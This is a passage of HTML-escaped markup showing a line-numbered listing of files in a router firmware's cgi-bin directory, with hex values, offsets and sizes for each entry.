style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; www\cgi-bin\bcable.exe              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; www\cgi-bin\bdhcp.exe               ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; www\cgi-bin\Bisp.exe                ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; www\cgi-bin\bwtype.exe              ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; www\cgi-bin\changef.exe             ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt; www\cgi-bin\clientfilter.exe        ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt; www\cgi-bin\clMac.exe               ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; www\cgi-bin\config                  ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt; www\cgi-bin\engineer.exe            ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt; www\cgi-bin\firewall_SPI.exe        ?1:0xac514eca offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt; www\cgi-bin\fire_eb.exe             ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt; www\cgi-bin\hacker_prevention.exe   ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt; www\cgi-bin\hw_opt.cgi              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt; www\cgi-bin\ipsec-sa.exe            ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt; www\cgi-bin\ipsec_clrplcy.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt; www\cgi-bin\ipsec_connect.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt; www\cgi-bin\IPSEC_EB.EXE            ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt; www\cgi-bin\ipsec_submit_sp.exe     ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum48&quot;&gt;  48:&lt;/span&gt; www\cgi-bin\log                     ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt; www\cgi-bin\logfile.log             ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt; www\cgi-bin\login.exe               ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt; www\cgi-bin\logout.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt; www\cgi-bin\macac_control.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt; www\cgi-bin\nat_eb.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt; www\cgi-bin\nat_show.exe            ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt; www\cgi-bin\nat_sp.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt; www\cgi-bin\ntp_setting.exe         ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt;  57:&lt;/span&gt; www\cgi-bin\pptp.exe                ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt; www\cgi-bin\pptp_c.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt; www\cgi-bin\pptp_s.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt; www\cgi-bin\pptp_tunnel.exe         ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt; www\cgi-bin\production.exe          ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt; www\cgi-bin\qadd_cur_mac.exe        ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt; www\cgi-bin\qBatmint.exe            ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum64&quot;&gt;  64:&lt;/span&gt; www\cgi-bin\qos_delcls.exe          ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum65&quot;&gt;  65:&lt;/span&gt; www\cgi-bin\qos_eb.exe              ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum66&quot;&gt;  66:&lt;/span&gt; www\cgi-bin\qos_mvcls.exe           ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum67&quot;&gt;  67:&lt;/span&gt; www\cgi-bin\qos_submit_bw.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum68&quot;&gt;  68:&lt;/span&gt; www\cgi-bin\qos_submit_cls.exe      ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum69&quot;&gt;  69:&lt;/span&gt; www\cgi-bin\qs1.exe                 ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum70&quot;&gt;  70:&lt;/span&gt; www\cgi-bin\qs2.exe                 ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum71&quot;&gt;  71:&lt;/span&gt; www\cgi-bin\qs2_.exe                ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum72&quot;&gt;  72:&lt;/span&gt; www\cgi-bin\qs3.exe                 ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum73&quot;&gt;  73:&lt;/span&gt; www\cgi-bin\Qs5.exe                 ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum74&quot;&gt;  74:&lt;/span&gt; www\cgi-bin\qs6.exe                 ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum75&quot;&gt;  75:&lt;/span&gt; www\cgi-bin\qsetup_cable.exe        ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum76&quot;&gt;  76:&lt;/span&gt; www\cgi-bin\qsetup_cable1.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum77&quot;&gt;  77:&lt;/span&gt; www\cgi-bin\qsetup_time.exe         ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum78&quot;&gt;  78:&lt;/span&gt; www\cgi-bin\qsetup_wan_bigpond.exe  ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum79&quot;&gt;  79:&lt;/span&gt; www\cgi-bin\qsetup_wan_fix.exe      ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum80&quot;&gt;  80:&lt;/span&gt; www\cgi-bin\qsetup_wan_pppoe.exe    ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; 